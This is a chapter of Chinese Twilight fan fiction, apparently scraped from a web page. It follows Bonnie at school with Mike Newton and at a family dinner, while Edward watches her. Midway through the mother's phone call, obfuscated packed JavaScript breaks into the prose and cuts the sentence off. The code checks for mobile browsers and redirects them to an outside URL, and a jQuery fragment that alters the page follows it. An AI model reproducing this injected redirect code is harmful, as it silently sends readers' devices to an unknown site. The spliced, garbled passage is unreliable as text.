阳光尚未穿透晨雾，整座校园像是从水里刚捞出来一样潮湿，树枝还带着夜晚留下的凉意，而邦妮的脚步一如既往地平静、寡言、无波，却比这一切都要真实得多。
她穿着那件常见的深灰色帽衫，牛仔裤卷到脚踝，露出一段细瘦的脚踝，鞋子磨旧但干净。她从校门走进来，像一道风从山口滑过，不带声音，却改变空气。
爱德华靠在树干上，没有动。只是看着。
她的头发今天没绑，在风里微微扬起，阳光正巧透过树林斑斑点点落在她发间，那一瞬他看见她睫毛下的光斑，像梦里不该有的细节，真实得让人想伸手触摸。
他没有跟上去，没有靠近。只是站在那里，目光追随着她。
早上的第一节英语课，邦妮依旧坐在靠窗的位置，独桌一人。
她把书摊开，指节叩在桌面上，眼神没焦点地看着窗外。
今天是阴天，光线被云层拦腰折断，只有一点点天色透进教室，把她的侧脸照得像水墨画的一角，不艳丽，但很深。
她听见有人走近。
她以为是老师，但一回头，却是迈克尔·牛顿。
那个在历史课教室里，歪着脑袋问她“你是在画桥？”的男生。他站在她桌前，笑得不算讨好，却有点不安。
“嘿，”他说，“可以坐这吗？今天分组活动，后排座都有人了。”
邦妮看了他一眼，眼神没什么敌意，也没什么热情，只是点了下头。
“随便。”
他坐下来，把包往桌下塞，偷偷瞥了她一眼。
其实早在坐到她旁边的那天，他就注意到了。
不是那种“一眼惊艳”的注意，而是那种“等你看第二眼就走不掉”的奇妙吸引。
他不懂她。她不笑，不参与，不社交，甚至走路都不快，但就是有一种让人想看她走进画框里的感觉。
而他确实发现，她漂亮。
不是那种一眼就让人想吹口哨的热辣，也不是那种带着滤镜的“好学生气质”，她的五官是那种需要被认真对待的漂亮。像是旧相册里的彩色照片，起初模糊，越看越清晰，最后清晰得让人不敢再看。
邦妮正读着课本，眉头皱着，但那不是看不懂的皱，而是厌烦的、极端不耐课文语调的嫌弃。迈克尔偷看她的手指，在桌面上敲着节拍，像是心里正播放一首没人听见的歌。
她突然说话，声音低低的：“你要是再看我，就自己换个位置。”
迈克尔一下子坐直：“我、我没看你……就是看窗户。”
“窗户上只有我的倒影。”她头都没抬。
他红了脸。
邦妮终于抬头看他一眼，嘴角弯了弯，那不是笑，是一种“你看起来不像坏人，但也不聪明”的理解。
“你不是个坏人。”她轻声说，“但我建议你不要太靠近怪胎。我可能会传染。”
迈克尔嘴角动了动，“我不觉得你怪。”
“是吗？”她眨了一下眼睛，“你说这话的时候，耳根都红了。”
他闭嘴了。但那张脸却明明白白地写着：我并不讨厌这种对话，甚至有点……喜欢。
而在教室最后排，靠墙的阴影里，爱德华坐着，眼神没有从邦妮身上移开过。
他听见他们的对话，听见迈克尔的每一个自我鼓励的心跳，听见邦妮话语下藏的那点微弱的无奈。不是被误解的无奈，而是被世界逼着一再证明“我不是疯子”的疲惫。
他看着那男孩坐在她身边，一边嫉妒那靠近的距离，一边在心里默念：
她不会喜欢他的。
午餐时间，邦妮还是照常自己坐。
今天她点了马铃薯炖菜，餐盘里颜色土得像是铅笔头拌泥土。她没什么食欲，只是一勺一勺慢慢吃，听着旁边桌子上女生们把“爱德华·卡伦今天穿了深灰衬衣”当成国际新闻。
迈克尔走过来时，她没抬头。
“你还打算自己吃？”
“你还打算再被我骂一次？”她反问，语气不轻不重。
“我不怕。”他说，“你骂得挺有意思的。”
她终于抬头看了他一眼，目光不快不慢地扫了一圈，然后点点头：“你比我想象中更耐打。”
他笑了，坐在她对面。
而在远处，靠窗那张空桌上，卡伦一家如往常那样坐着，五人沉默地演着一出饭局戏码。
爱丽丝偷偷看了爱德华一眼，低声说：“你真的不打算做点什么？”
“她正在跟别的男生说话。”罗莎莉冷冷地提醒。
“我知道。”爱德华平静地说，指尖却死死扣在桌下。
“你要是再不行动，迈克尔·牛顿就要准备圣诞礼物了。”艾美特补刀。
贾斯帕没有说话，他感受到的那种从爱德华体内向外鼓胀的克制和欲望的混合，已经变得太浓。
他从没见爱德华这样。
不是“想得到”。
是“必须解答”。
而那女孩，现在正在对一个普通人说话，偶尔眉角扬起一点讽刺。
可爱得要命。
放学时，邦妮像往常一样走向公交站。迈克尔在后面想追她，却在三步之外被她一句“别送我”直接拦下。
“我不是劳伦·马洛里，”她回头看他一眼，“这一套对我不管用。”
他挠挠头，站住了。
她继续走，风吹乱她的头发，她把发丝拨回耳后，动作利落，背影干净。
而爱德华站在另一条小道上，远远地看着她的侧脸消失在车站转角，整个人没动，只是手指，在风衣口袋里握得越来越紧。
他承认。
他在嫉妒。
但更多的是一种无解的上瘾感。
她不是主动，也不是拒绝，她只是存在。
而他在存在之外，一点点溃败。
公交车像一条缓慢游动的铁鱼，晃晃悠悠地驶入福克斯小镇的居民区，把一车倦意与沉默卸在了熟悉的街角。黄昏降下来，光线像抹脏手帕一样遮住了天空，只剩下几盏零星的路灯，在斑驳砖墙上投出昏黄长影。
邦妮踏下车，双肩包一侧松了点，挂在肩头随步摇晃。她顺着街道走回那栋老式木屋，鞋底在石板路上踩出轻响，像慢节奏的打字声。
她推开门，厨房里已经有了动静，切菜板上的节奏感传来熟悉的“咚咚咚”，还有油锅刚刚升温时“滋啦”的音效，像某种安心的催眠符咒。
“我回来了。”她换鞋，声音不高。
“你妈在厨房炸她那道‘永远不够脆的鸡块’，我在等救援。”父亲约翰·贝尔的声音从沙发后传来，带着熟悉的懒洋洋，隐约夹着对鸡块命运的不信任。
客厅沙发上，他还穿着理发店的灰衫，头发一如既往地梳得光洁，鬓角精致。电视放着某档无聊的脱口秀节目，他却拿着一本钓鱼杂志在翻。
邦妮嘴角抬了抬，拎着书包走过客厅。刚进厨房，热气和油烟就扑面而来，母亲塞西莉亚正一手翻锅，一手夹着电话讲八卦。
“……我不是在开玩笑，苏菲，那刀工真的可以直接进电视节目了。一块肝脏，他缝起来只用了七分钟——七分钟！而且完全没血腥，动作比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405296|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我切菜还快。”
“我听见了。”从客厅传来父亲醋溜溜的一声，“你现在讲的是卡莱尔医生的事，对吧？”
“你不是也夸过他手指好看吗？”塞西莉亚回头瞥一眼，完全没停下锅铲。
“那是我职业习惯，那人手比剪刀都细。”约翰翻了一页杂志。
“那你吃醋什么？”她笑着回嘴，“又不是我要跟他生个小孩。”
“……你这句话让我今天剪头都剪不直。”约翰嘀咕。
塞西莉亚扭身走过来，一只手还戴着厨房手套，另一只就那么拽住他衣领往沙发后靠了靠，在他脸颊上啪地一吻，笑得像刚拿到满意的客人小费。
“好了，哄你一下你又要好起来了。”
约翰叹口气，假装不情愿地哼了声，但眼角却笑出一道褶。他一边抿嘴，一边重新翻开杂志，好像刚刚的不满只是调料。
邦妮靠在厨房门框边，看着那一幕。
有点想笑，又有点无语。
“你们有空说情话，不如考虑鸡块是不是该翻面了。”她凉凉地提醒。
“已经翻了。”母亲得意地转身，“比你爸那小心眼翻得还快。”
“你小时候可是我一口一个鸡块哄大的。”父亲嚷，“你能长成现在这副犀利样，全靠我用牛肉干打通你的任督二脉。”
“牛肉干对逻辑推理没有加成。”邦妮说，走进厨房洗手，“只是让我牙缝变大。”
饭桌上三人吃饭，窗外已完全暗下来，月光像从窗帘缝里撒进的细粉尘，在餐桌上投出一块斜影。
邦妮吃着炸鸡块，嚼得慢，很安静。
她听着母亲继续滔滔不绝地夸卡莱尔医生如何在镇上的医院里成为传奇，技术高超、态度温和、每次讲解病情都带图文并茂、有一次还救了一只狗。甚至连护士都偷偷拿他做小说的封面角色。
父亲每听一条就咬一口饭，一副“我忍你很久了”的样子，但全程没有发作。只是当塞西莉亚说到“你知道他那眼睛简直跟烧透的蜂蜜一样——”
“好了，我吃饱了。”约翰把叉子一放，“我上楼给自己修个发型冷静一下。”
“修什么修，”塞西莉亚追过去，“你上次刚剪完，你的鬓角我闭眼都能剪——别上去胡来啊！”
“我现在就要毁掉你最爱的层次感。”他气鼓鼓地消失在楼梯口。
邦妮慢悠悠地咬了一口苹果。
母亲走回来坐下，抿一口水。
“你爸就吃这一套。”她笑着说，“但也只哄得动他。”
邦妮看着她：“你们挺无聊的。”
“生活嘛。”塞西莉亚耸肩，“不就得靠这些无聊才能活着？”
“所以你没事就夸别的男人来刺激你老公？”
“这是维系平衡的艺术。”她挑眉，“你以后懂了。”
邦妮没有接话，只是把杯子往桌上一放，眼角不动声色地扫了一眼窗户。
她又觉得那种“有人看着”的感觉回来了。
不是来自房间，也不是楼上。
是窗外。
像夜色藏了什么。
她走过去，拉上窗帘，拉得很紧。
窗外，某棵邻近的老橡树上，一道黑影轻轻动了动。
爱德华贴着树干半蹲，手扶着枝杈，呼吸极轻，眼神却透着从未熄灭的火。
他看见他们一家三口，简单、温暖、琐碎、真实。
而她——她就在光中，就在那温暖生活里。
他却只能从黑夜的树枝上看她，就像他永远是被她生活挡在窗外的那部分夜色。